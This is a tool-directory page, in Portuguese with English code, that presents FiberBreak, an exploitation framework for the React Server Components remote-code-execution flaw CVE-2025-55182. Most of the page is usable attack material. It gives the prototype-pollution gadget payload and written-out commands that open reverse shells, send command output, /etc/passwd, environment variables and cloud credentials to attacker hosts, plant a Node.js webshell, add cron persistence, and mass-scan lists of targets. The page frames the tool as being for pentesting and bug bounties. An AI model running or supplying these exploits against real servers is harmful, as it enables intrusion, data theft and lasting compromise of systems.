Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
FiberBreak — Ferramenta de Exploração React2Shell (CVE-2025-55182) | Kitploit
Ferramentas/GitHubGitHub/scumfrog/fiberbreak
ReconhecimentoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosPós-ExploraçãoTestes de PenetraçãoSegurança na NuvemComando e ControleRed TeamingDesenvolvimento de Payloads
61há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
GitHubscumfrog/fiberbreak

FiberBreak

Ferramenta de Exploração React2Shell (CVE-2025-55182)

Ver Repositório
Compartilhar

FiberBreak

Framework de exploração para CVE-2025-55182 (React2Shell) - Vulnerabilidade crítica de RCE em Componentes de Servidor React.

Visão Geral

  • CVE: CVE-2025-55182
  • CVSS: 10.0 (CRÍTICO)
  • Tipo: Execução Remota de Código (RCE)
  • Afetados: React 19.0.0-rc.0 a 19.0.0, Next.js 15.0.0 a 15.0.3
  • Descoberta: Lachlan Miller (SonarSource)
  • PoC Público: maple3142

Instalação

# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x fiberbreak.py

Início Rápido

# Build vulnerable testing environment
docker-compose up -d

# Wait for startup
sleep 20

# Test detection
./fiberbreak.py -u http://localhost:3000 detect

# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Verify
docker exec react2shell-lab ls -la /tmp/

Detalhes Técnicos

Visão Geral da Vulnerabilidade

CVE-2025-55182 é uma vulnerabilidade crítica de execução remota de código nos Componentes de Servidor React (RSC) que permite que atacantes não autenticados executem código arbitrário no servidor.

Causa Raiz: O protocolo React Flight desserializa a entrada do cliente não confiável sem validação adequada, permitindo que atacantes criem cargas maliciosas que abusam da cadeia de protótipos e do construtor Function do JavaScript.

Vetor de Ataque: Atacantes enviam uma requisição POST multipart/form-data manipulada com um cabeçalho Next-Action para qualquer endpoint RSC. A carga maliciosa utiliza:

  1. Poluição de protótipo via acesso a __proto__
  2. Exposição do construtor Function via constructor:constructor
  3. Resolução de Promise para acionar a execução de código

Fluxo de Exploração

1. Atacante envia requisição POST manipulada
   └─ multipart/form-data com JSON malicioso
   └─ Cabeçalho Next-Action (qualquer valor)

2. Servidor desserializa a carga
   └─ React processa o formato do chunk RSC
   └─ Resolve objeto do tipo Promise

3. Cadeia de gadgets é acionada
   └─ Acesso __proto__ burla verificações hasOwnProperty
   └─ constructor:constructor expõe Function()
   └─ _prefix executa código arbitrário

4. RCE alcançada
   └─ Servidor executa JavaScript do atacante
   └─ Comprometimento total do sistema

O Gadget

{
  "then": "$1:__proto__:then",           // Prototype pollution
  "status": "resolved_model",            // Fake React internal state
  "reason": -1,                          // Trigger resolution
  "value": '{"then":"$B1337"}',         // Blob reference
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Executed code
    "_formData": {
      "get": "$1:constructor:constructor" // Function() access
    }
  }
}

Caminho de Código Afetado

// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Missing validation here allows malicious chunks
  if (value && typeof value.then === 'function') {
    // Attacker controls 'then' method
    value.then(/* ... */);
  }
}

Uso

Detecção de Vulnerabilidade

# Single target detection
./fiberbreak.py -u https://target.com detect

# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20

# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl

Exploração Básica

# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Write file to disk
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Read file contents
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

Exploração Avançada

# Reverse shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

Exploração em Nuvem

# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

Tipos de Carga

TipoFormatoDescriçãoSaída
simplecomandoExecuta qualquer comando shellCego
outputcomando + --callbackExecuta com callback HTTPSim
reverse_shelllhost:lportReverse shell BashInterativa
dns_exfilcmd:dominio ou dominioExfiltração via DNSLogs DNS
http_exfilcmd:url_callbackExfiltração via HTTPHTTP POST
file_readcaminho_arquivo:callbackLê e exfiltra arquivoHTTP POST
write_filecaminho_arquivo:conteudoEscreve arquivo em discoCego
env_dumpurl_callbackDespeja variáveis de ambienteHTTP POST
cloud_metadataurl_callbackExtrai credenciais da nuvemHTTP POST
reconurl_callbackReconhecimento do sistemaHTTP POST
stealth_beacondominioBeacon DNSLogs DNS
webshellcaminho_arquivoImplanta webshell Node.jsPorta 8080
persisturl_callbackInstala persistência via cronTarefa cron

Cenários Reais

Caça a Recompensas por Bugs

# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Document findings without causing damage

Testes de Penetração

# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json

# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

Varredura em Massa de Vulnerabilidades

# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# Generate report
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'
Baixar ferramenta